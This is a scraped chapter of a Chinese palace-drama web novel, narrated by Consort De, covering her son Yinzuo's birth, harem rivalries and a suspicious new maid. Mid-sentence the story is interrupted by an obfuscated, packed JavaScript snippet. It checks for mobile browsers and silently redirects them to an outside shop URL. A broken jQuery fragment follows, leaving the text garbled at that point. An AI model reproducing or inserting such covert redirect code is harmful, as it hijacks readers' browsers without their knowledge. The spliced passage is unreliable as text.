文趣网 > 其他小说 > 后宫成璧传之第真卷 > 7. 第七章 胤祚出生
    康熙十九年的二月初五,产婆和太医们正在永和宫里紧张忙碌,我在产房里疼得满头大汗,产婆按压我弯起来的膝盖,并不停催促用力,太医也在帘子屏风外面指挥我做深呼吸,一二三吸,一二三呼,再来,一二三吸,一二三呼。

    我咬牙一用力,小阿哥便出生了。

    梅雾和素林姑姑恭喜我:“恭喜小主又生了个阿哥。”

    康熙正为了河道治理和食盒窃密案和权臣们唇枪舌剑,正在前朝吏治的气头上,闻听德贵人又生了儿子,当即让内务府厚赏永和宫。

    没过几日,听说佟贵妃举荐的戴佳水萤有了身孕,孝惠太后举荐的卫双儿也有了身孕,我听到隔壁钟粹宫的荣嫔在诅咒这些包衣贱婢的孩子长不大,自然地,也在咒我的小阿哥。

    她的诅咒灵不灵验我不知道,但我知道的是,延春阁的通贵人纳兰语初的儿子胤讚尚在襁褓就因为突发高烧医药无用没了,而我的小阿哥也在平安度过了一周关口,因为前朝攻克吴三桂残部摆夷和云贵川渝的捷报和今年的收成极好让皇上喜出望外,赐名小帅哥为胤祚,寓意国祚祥康,上了齿序,并进我为德嫔。

    没多久,戴佳水萤和卫双儿也各自生了儿子,胤佑和胤禩两个男婴皆被送到延禧宫由惠嫔纳兰有澧抚养,纳兰有澧给予这些养子母爱温馨。

    永和宫的晚霞总是格外温存,仿佛老天爷也在眷顾这座宫院里新生的欢喜。胤祚满月那日,康熙亲自赐了长命锁,黄澄澄的锁面上錾着“国祚祥康”四字。我抱着那小小一团温热,看他在襁褓里攥紧拳头打了个哈欠,心里像是灌了蜜。

    “娘娘,您看六阿哥这眉眼,多像皇上。”梅雾端了盏红枣茶来,笑着凑近,“奴婢瞧着,比四阿哥小时候还精神些。”

    提起胤禛,我心头微动。那孩子养在佟贵妃膝下,虽说贵妃待他视如己出,可做亲娘的,哪能真放下心。好在佟贵妃隔三差五便遣人来报四阿哥的起居,上回还让谢乳母带了胤禛亲笔描的红“福”字来,说是给弟弟贺满月。那字歪歪扭扭的,却叫我捏在手里看了半天。

    “四阿哥可好?”我问。

    “好着呢,佟贵妃娘娘亲自教他认《千字文》,听说已能背到‘海咸河淡’了。”谢乳母莞尔微笑,梅雾在旁抿嘴笑,“娘娘且宽心,贵妃娘娘待四阿哥,比亲生的还上心三分。”

    我这才舒了口气,低头去逗胤祚。小儿无知无觉,只管攥着我的手指咿呀。窗外的海棠开得正好,风一过,花瓣便飘飘悠悠落进廊下。这样的日子,平静得叫人几乎忘了深宫里的明枪暗箭。

    可平静总是假的。

    若有人谋害小阿哥小格格倒也还好,可以追根溯源找到凶手,可偏偏,害这些儿女夭折的是无形的疾病,天花,痘疹,我怕下一个会夭折的就是我养在自己身边的胤祚。

    那夜我亲自在春嬷嬷的房间里,和她一起照顾胤祚。春嬷嬷是佟贵妃的额娘佟夫人举荐来的老成嬷嬷,伺候过佟家旁支的很多个公子哥,极有经验。我放心把胤祚白日交给她照看,自己在暖阁里做些针线——小肚兜、虎头鞋,一针一线密密缝。

    “德嫔娘娘手真巧。”春嬷嬷常夸,“六阿哥将来穿这鞋,走得稳稳当当的。”

    我便笑:“借嬷嬷吉言。”

    永和宫的用度在嫔位里算宽裕的。康熙因前朝捷报频传——台湾那边施琅已率水师出海,今岁漕粮又比往年早到了半月——龙心大悦,内务府流水似的往永和宫送东西。绸缎、香料、精巧的西洋玩意儿,连胤祚的小摇篮都换了个镶螺钿的。

    母家,乌雅家那头也风光。阿玛被赐了“忠义仁勇”的牌匾,宗族里几个旁支的族兄弟都得了实缺。家书一封接一封,字里行间全是得意。唯独有一桩——嫡姐乌雅沚烟嫁进阿灵阿府上快十三年了,肚子始终没动静。

    阿灵阿纳了小妾进门,只为生孩子,可偏偏,乌雅沚烟善妒泼辣,小妾也在阿灵阿和乌雅沚烟的双重磋磨虐待下小产了,并悬梁自尽。

    嫡母塞和里氏的鸡毛掸子和乌雅沚烟的假扮受害者倒打一耙的表演让我一生都忘不了。为了嫁给阿灵阿,往豪门高攀,她们不惜找来人牙子,把幼小的我卖入了佟家当丫鬟,给乌雅沚烟攒嫁妆。好在佟佳岁静姐弟三人待我不错,在佟家也没遭到虐待辱骂。

    因为佟家人不像我那卑微的母家一样,天高皇帝远,嫡母就是王法,可以瞒着阿玛烧杀我额娘。他们是活在皇帝眼皮底下的,所以下人只要不是触犯大错,待遇都是不错的。

    乌雅沚烟自小便仗着嫡女身份占强,什么都要压我一头。我得了康熙青眼她嫉恨,我生了阿哥她眼红,如今我封嫔、赐牌匾,她怕是夜里都睡不安稳。

    果然,没过几日,永和宫里便多了个面生的宫女。

    那姑娘叫茱儿,看着不过十四五岁,圆脸细眉,一双眼睛水润润的,见人先笑三分。春嬷嬷引了她来磕头,说是内务府新拨的粗使丫头,专管给奶娘备膳。

    我打量这丫头几眼,手脚干净,说话也利落,便

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916115|213324||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    点点头:“既如此,你便好生伺候春嬷嬷。六阿哥吃的奶水要紧,万不可马虎。”

    “奴婢省得。”茱儿又磕了个头,起身时嘴角微微一翘,那笑转瞬即逝,快得我以为自己看花了。

    往后半月,茱儿果然勤快。天不亮便去御膳房挑最新鲜的鲫鱼和猪蹄,炖汤时撇了又撇油花,汤色奶白,春嬷嬷喝了赞不绝口,说奶水果然比从前足。她还会做几样精细的点心——桂花山药糕、枣泥酥饼——常送来我屋里,说是“孝敬娘娘的”。我尝过两块,甜而不腻,确实好。

    “这丫头倒是伶俐。”素林姑姑有回说,“手脚也麻利,比原先那几个强。”

    我应了一声,没往深处想。深宫里得一个合用的下人不容易,何况是伺候胤祚的。我只盼着这孩子平平安安长大,旁的,不愿多费心神。

    然而,我不知道的是,这仅仅只是嫡姐嫡母她们阴谋的开始。

    另一边,佟贵妃向表哥康熙皇帝再度求了恩典,打算把我的德嫔位分再进一进,康熙皇帝再三考虑后,决定了妃位上的候选者有四个人,并拟了一份名单递到了祖母孝庄太皇太后的手中。

    老人家戴着叆叇,仔细端详着这份名单,开口道:“玄烨,此番册封,是你亲政以来,第一次拥有正式封号的皇妃,你可得仔细甄选,别出差池。”康熙接过小宫女凌波递过来的糯米香茶:“老祖宗放心,孙儿知道如何做的,不偏爱,懂平衡,雨露均沾,方能开枝散叶,为刚刚入关不久的大清打下基业。”

    孝庄太皇太后满意地点了点头,当年,她的儿子顺治爷就是因为专宠承乾宫的孝献皇后董鄂玛茹和贞妃董鄂祖玛二人导致后宫里怨声载道,她孙儿,如今的康熙爷,乃是一代贤主明君,自不会步他皇阿玛的后尘。

    可他又怎会预料到这个后宫,即将因为他赐予钮祜禄舜英协理之权,而迎来怎样的乱相。我轻拍着摇篮床里的胤祚的小肚子,轻轻哼唱着儿歌,模糊记得我的额娘,乌拉那拉涵漪抱着我襁褓哄我入睡的样子,我如今,也成了胤祚的娘亲,也会好好当一个娘亲,想着想着,我便作了梦。

    梦里,是我目送已经长大成人的青年胤祚,迎娶他的福晋的拜堂喜事,鞭炮笙管唢呐齐鸣,戏子在台上咿咿呀呀唱着,时不时有宾客鼓掌喊好,青年版的胤祚十分英俊,我依稀记得,他们在给我敬茶,他深沉而温润的云遮月般的成年嗓音和他的福晋一起轻唤我:“额娘,请喝茶。”

    然后我醒了,是胤祚的哇哇哭声,他拉臭臭了。